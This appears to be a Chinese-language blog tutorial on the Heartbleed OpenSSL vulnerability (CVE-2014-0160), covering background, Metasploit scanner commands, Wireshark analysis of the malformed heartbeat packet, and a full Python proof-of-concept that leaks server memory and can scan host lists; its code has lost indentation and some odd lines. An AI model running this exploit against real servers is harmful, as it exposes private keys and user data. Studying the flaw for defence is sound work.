心脏滴血漏洞-CVE-2014-0160

漏洞介绍

2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBleed。其中Heart是指该漏洞位于心跳协议上,Bleed是因为该漏洞会造成数据泄露。即HeartBleed是在心跳协议上的一个数据泄露漏洞,OpenSSL库中用到了该心跳协议。HeartBleed主要存在与OpenSSL的1.0.1版本到1.0.1f版本。

利用该漏洞,攻击者可以远程读取服务器内存中64K的数据,获取内存中的敏感信息。

在网络当中中,TCP/IP协议层之上的安全可以由Secure Socket Layer(SSL)及其替代协议Transport Layer Security (TLS)进行保障。这两个协议经常被称作SSL/TLS。HTTP是一个无状态的应用层协议,主要用来在服务器和客户端之间传输数据。HTTPS主要通过在HTTP层和TCP层之间增加了SSL/TLS层来保证服务器与客户端之间安全的传输数据。
DTLS(Datagram Transport Layer Security)即数据包传输层安全性协议,主要是试图在TLS协议架构上提出扩展,使之支持UDP。
TLS/DTLS中的心跳协议主要使用来检测两个设备之间是否还有连接的,根据RFC规定,心跳协议运行在TLS记录层之上,主要是通过交换“心跳”的方式,用来维持端与端之间的连接。

漏洞利用

攻击工具:kali下的msf(测试的同时开启wireshark 分析其中的数据包)

语句:

use auxiliary/scanner/ssl/openssl_heartbleed

show options

set RHOSTS IP   #服务器IP

set PORT PORT   #(端口一般是443)

run

exploit

可以看出该服务器存在该漏洞。

漏洞分析

查找whireshark中该IP的数据包

可以看到攻击流程为:

1. 建立socket连接
2. 发送TLS/SSL Client Hello请求
3. 发送畸形heartbleed数据
4. 检测漏洞存在
5. 建立socket连接

查看请求包中内容:

由于SSL记录协议位于某个可靠的传输协议(例如TCP)上面由于数据通过SSL加密处理后显示乱码,我们通过wireshark抓取的数据包主要通过16进制显示,所以像heartbeat_Request的数据包主要分为四部分:(1)数据包帧头部分(在数据包中占14个字节)
(2)IPv4网络层部分(数据包中占20字节)
(3)TCP传输层部分(数据包中占20字节)
图片中方框标注的部分即为通过SSL加密的心跳数据包部分:
Content Type:Heartbeat 24(0x18)
Version:TLS1.0(0x0301)
Length:3(0x0003)
HeartbeatMessage:
Type:Request(0x01)
payload Length:65535(0xffff)
payload
payload为空,利用漏洞将后面内存中的数据dump下来

查看返回包中内容:

(上图中为通过wireshark抓取的heartbeat_Response数据包的模块化展示,同样数据包分为帧头部分,IPv4网络层部分,TCP传输层部分以及SSL返回的数据部分)
图下数据为返回的心跳数据包详情展示,由于数据长度为16384个字节太长不好显示这边只截取一部分数据进行展示
18 03 01 40 00 02 ff ff为响应包数据特征:
0x18表示SSL数据包类型为心跳包
0x0301表示TLS的版本号:Version(TLSv1.0)
0x4000表示返回的数据包长度(16384)
0x02表示返回的心跳消息类型(Response)
0x4000表示返回的payload_length(16384)
剩余的数据即为通过心脏出血漏洞从内存中dump下来的数据(payload) 
由于请求包(Request)中的长度为0x0003(3)但是要返回的payload_length为0x4000(16384),所以响应包(Response)返回的数据长度为0x4000(16384)即漏洞攻击成功。

含有SSL加密的协议

协议

默认端口

说明

SMTPS

465

(SMTP-over-SSL)协议发送邮件协议

HTTPS

443

安全套接字层超文本传输协议

NNTPS

563

通过安全套接字层的网络新闻传输协议

LDAPS

636

通过安全套接字层的轻型目录访问协议

ftps

990

通过ssl加密的ftp协议

IMAPS

993

邮件接收协议

POP3S

995

邮件接收协议

POC具体分析请查看地址:

https://blog.csdn.net/lixue20141529/article/details/77815979

POC代码:

import struct

import socket

import time

import select

from optparse import OptionParser

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = [

# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello

"16"  # Content Type: Handshake (22)

"0302"  # Version: TLS 1.1 (0x0302)

"00dc"  # Length: 220

# Handshake Protocol: Client Hello

"01"  # Handshake Type: Client Hello (1)

"0000 d8"  # Length (216)

"0302"  # Version: TLS 1.1 (0x0302)

# Random

"5343 5b 90"  # gmt_unix_time

"9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes

"00"  # Session ID Length: 0

"0066"  # Cipher Suite Length: 102

# Cipher Suites

"c014"

"c00a"

"c022"

"c021"

"0039"

"0038"

"0088"

"0087"

"c00f"

"c005"

"0035"

"0084"

"c012"

"c008"

"c01c"

"c01b"

"0016"

"0013"

"c00d"

"c003"

"000a"

"c013"

"c009"

"c01f"

"c01e"

"0033"

"0032"

"009a"

"0099"

"0045"

"0044"

"c00e"

"c004"

"002f"

"0096"

"0041"

"c011"

"c007"

"c00c"

"c002"

"0005"

"0004"

"0015"

"0012"

"0009"

"0014"

"0011"

"0008"

"0006"

"0003"

"00ff"

"01"  # Compression Methods

# Compression Methods (1 method)

"00"  # Compression Method: null

"0049"  # Extension Length: 73

"000b"  # Type: ec_point_formats

"0004"  # Length: 4

"03"  # EC point formats length: 3

# Elliptic curves point formats

"00"  # EC point format: uncompressed (0)

"01"  # EC point format:ansix962_compressed_prime

"02"  # EC point format:ansix962_compressed_char2

# Extension: elliptic_curves

"000a"

"0034"

"0032"

"000e"

"000d"

"0019"

"000b"

"000c"

"0018"

"0009"

"000a"

"0016"

"0017"

"0008"

"0006"

"0007"

"0014"

"0015"

"0004"

"0005"

"0012"

"0013"

"0001"

"0002"

"0003"

"000f"

"0010"

"0011"

"0023 00 00"  # Extension:SeesionTicket TLS

"000f 00 01 01"  # Extension:Heartbeat

]

# ---------TLSv1---[Heartbeat Request]------------

hb = [

# TLSv1.1 Record Layer: HeartbeatRequest

"18"    # Content Type: Heartbeat (24) ----(0x18)

"0302"  # Version: TLS 1.1 (0x0302)

"0003"  # Heartbeat Message:

"01"    # Type: Request (1) (0x01)

"4000"  # Payload Length: (16384) (0x4000)

]

hello = hello[0].replace("", "").replace("\n", "")

hb = hb[0].replace("", "").replace("\n", "")

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b: b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)

print ' %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

print 'read: ', r

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

hexdump(rdata)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)

if hdr is None:

return None, None, None

# C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]

# Python ---- [big-edition] + integer +integer + integer

# [Content Type] + [Version] + [Length]

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

return None, None, None

return typ, ver, pay

def hit_hb(s, target):

# global target

s.send(h2bin(hb))

while True:

print "[+] receive data..."

typ, ver, pay = recvmsg(s)

if typ is None:

print "[-] %s |NOTVULNERABLE" % target

return False

# TLSv1.1 Record Layer: EncryptedHeartbeat

# Content Type: Heartbeat (24)

# Version: TLS 1.1 (0x0302)

# Length: 19

# Encrypted Heartbeat Message

if typ == 24:

if len(pay) > 3:

print "[*] %s |VULNERABLE" % target

else:

print "[-] %s |NOTVULNERABLE" % target

return True

if typ == 21:

print "[-] %s |NOTVULNERABLE" % target

return False

def ssltest(target, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target, port))

s.send(h2bin(hello))

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

return

# Look for server hello done message.

# typ == 22 ----> Handshake

#

if typ == 22 and ord(pay[0]) == 0x0E:

break

# sys.stdout.flush()

print "[+] send payload: %s" % hb

s.send(h2bin(hb))  # Malformed Packet

return hit_hb(s, target)  # ------------- *********

def main():

# global target

options = OptionParser(usage='%prog server[options]',

description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

options.add_option('-d', '--dest', dest='host', help='HOST to test')

options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')

(opts, args) = options.parse_args()

if opts.host:

ssltest(opts.host, opts.port)

return

if opts.filename:

hostfile = open(opts.filename, 'r').readlines()

for host in hostfile:

host = host.strip()

if len(host) > 3:  # x.x

ssltest(host, opts.port)

return

if len(args) < 1:

options.print_help()

return

if __name__ == '__main__':

main()

部分内容参考地址:https://www.cnblogs.com/zafu/p/9332327.html

CVE-2014-0160-心脏滴血漏洞相关推荐

  1. “心脏滴血漏洞”测评经验分享

    "心脏滴血漏洞"测评经验分享 1 前言 1.1 编写目的 经验分析贴,赚C币买文章: 1.2 读者对象 本文档读者对象为:测评相关工程师.项目管理者.测试工程师.质量管理人员.文档 ...

  2. 【web攻防】破壳漏洞【CVE-2014-6271】与心脏滴血漏洞 【CVE-2014-0160】 docker 复现 学习过程

    其实最近的确是想更新一些文章的,但一直在忙于挖洞和挖洞技巧学习,前者肯定不能发真实案例,后者学的太零碎太杂,自己也处于一个积累的过程,发一些边边角角的内容也没意思. 虽然相比以前的确有了一点进步,但我 ...

  3. “心脏滴血”漏洞复现

    "心脏滴血"简介: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64KB缓存.将超 ...

  4. 一次心脏滴血漏洞的bug处理过程

    一个p2p平台,一次内部安全事件的处理过程,一个关乎投资人利益的网络投资平台,一个无知者无畏的年代.口口声声对外宣称安全.可靠.高收益.-- [步骤] 1.对应用https的系统进行ssl协议已公开漏 ...

  5. 心脏滴血漏洞利用(CVE-2014-0160)

    0x00 前置知识 心脏滴血漏洞复现(CVE-2014-0160) - 知乎 1.心脏滴血简介 心脏出血漏洞"是指openssl这个开源软件中的一个漏洞,因为该软件使用到一个叫做heartb ...

  6. 心脏滴血漏洞复现(CVE-2014-0160)

    漏洞范围: OpenSSL1.0.1版本 漏洞成因: Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查.攻击者可以追踪OpenSSL所分配的64 ...

  7. 心脏滴血漏洞HeartBleed CVE-2014-0160深入代码层面的分析

    前几天有人问我你不是看过openssl吗?那聊聊openssl漏洞,当时我一脸迷茫.我说我知道著名的心脏滴血漏洞,但是具体漏洞是什么原因导致的没有回答上来.对于自诩看过openssl源码的人,我觉得有 ...

  8. 心脏滴血漏洞(CVE-2014-0160)分析与防护

    一.漏洞简介 2014年4月7日,OpenSSL发布安全公告,在OpenSSL1.0.1版本至OpenSSL1.0.1f Beta1版本中存在漏洞,该漏洞中文名称为心脏滴血,英文名称为HeartBle ...

  9. OpenSSL心脏滴血漏洞(CVE-2014-0160)

    一.漏洞介绍 2014年,互联网安全协议OpenSSL被爆出存在一种十分严重的漏洞. 在黑客社区,被命名为"心脏滴血" ,黑客通过利用该漏洞,可以获取到%30开头的https网站的 ...

  10. OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

    Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议.它于2012年被引 ...

最新文章

  1. QT 的信号与槽机制介绍
  2. Java 7的类型推断
  3. Python 爬虫是什么
  4. [蓝桥杯][2018年第九届真题]约瑟夫环
  5. Pandas Groupby ApplyAgg
  6. EasyUI中Datagrid列定位方法
  7. 还在搞三层架构?DDD 分层架构了解下!
  8. 【三维路径规划】基于matlab粒子群算法无人机三维路径规划【含Matlab源码 015期】
  9. ESET NOD32 最新更新有效的升级ID用户名和密码
  10. IM云通信行业步入快车道,融云或将和Twilio一样实现资本上市
  11. python中怎么用format居中_python中format函数
  12. 向Spring大佬低头--大量源码流出解析
  13. mysql 取差值_mysql计算两条数据差值,求大神解答
  14. QQ空间迁移_【深度解锁数据恢复】
  15. 【深度访问】Cocos2d-JS精品《航海王启航》:我们是要成为游戏王的团队
  16. 十点读书:如果你不想工作了,就去这四个地方走走
  17. SpringCloud_JZZ_MBY
  18. 谷歌AI论文BERT双向编码器表征模型:机器阅读理解NLP基准11种最优(公号回复“谷歌BERT论文”下载彩标PDF论文)
  19. 阿里巴巴离职DBA_35岁总结的职业生涯
  20. 河海大学计算机网络毕业设计,河海大学文件河海大学毕业设计.doc

热门文章

  1. ActiveMQ的作用,原理是啥?
  2. ping服务器网速的工具
  3. 怎样提升android版本,如何提升Android手机的性能
  4. Mol Cell Proteomics. |陈洁| 整合鸟枪法蛋白质组学中鉴定和定量的错误率
  5. Mac 系统快速迁移记录(M1 Max)
  6. AI赐子?!学习数百万个胚胎发育过程,算法可将试管婴儿成功率提高3倍
  7. Wake-on-LAN(远端唤醒) 原理及实现
  8. 给定两个有着相同长度且都在字典内的单词,要求写一个方法来把一个单词变型成另一个单词。 一次只能转换一个字母,且每次生成的单词必须在字典内...
  9. oracle中distance用法,distance的用法和短语例句
  10. 传奇人物《周兴和》书连载23 劳燕分飞离故里